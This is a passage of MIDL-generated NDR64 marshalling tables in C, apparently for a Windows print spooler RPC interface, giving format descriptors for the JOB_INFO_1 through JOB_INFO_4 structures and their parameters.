0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pJob */      /* parameter pJob */\n        &__midl_frag653,\n        { \n        /* pJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag403,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag75_t __midl_frag75 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    }\n};\n\nstatic const __midl_frag64_t __midl_frag64 =\n{ \n/* JOB_INFO_4 */\n    { \n    /* JOB_INFO_4 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_4 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 160 /* 0xa0 */,\n        0,\n        0,\n        &__midl_frag75,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag63_t __midl_frag63 =\n{ \n/* *JOB_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag64\n};\n\nstatic const __midl_frag62_t __midl_frag62 =\n{ \n/* JOB_INFO_3 */\n    { \n    /* JOB_INFO_3 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* JOB_INFO_3 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    }\n};\n\nstatic const __midl_frag61_t __midl_frag61 =\n{ \n/* *JOB_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag62\n};\n\nstatic const __midl_frag49_t __midl_frag49 =\n{ \n/* JOB_INFO_2 */\n    { \n    /* JOB_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 160 /* 0xa0 */,\n        0,\n        0,\n        &__midl_frag75,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* JOB_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag48_t __midl_frag48 =\n{ \n/* *JOB_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag49\n};\n\nstatic const __midl_frag47_t __midl_frag47 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    }\n};\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/* JOB_INFO_1 */\n    { \n    /* JOB_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 96 /* 0x60 */,\n        0,\n        0,\n        &__midl_frag47,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            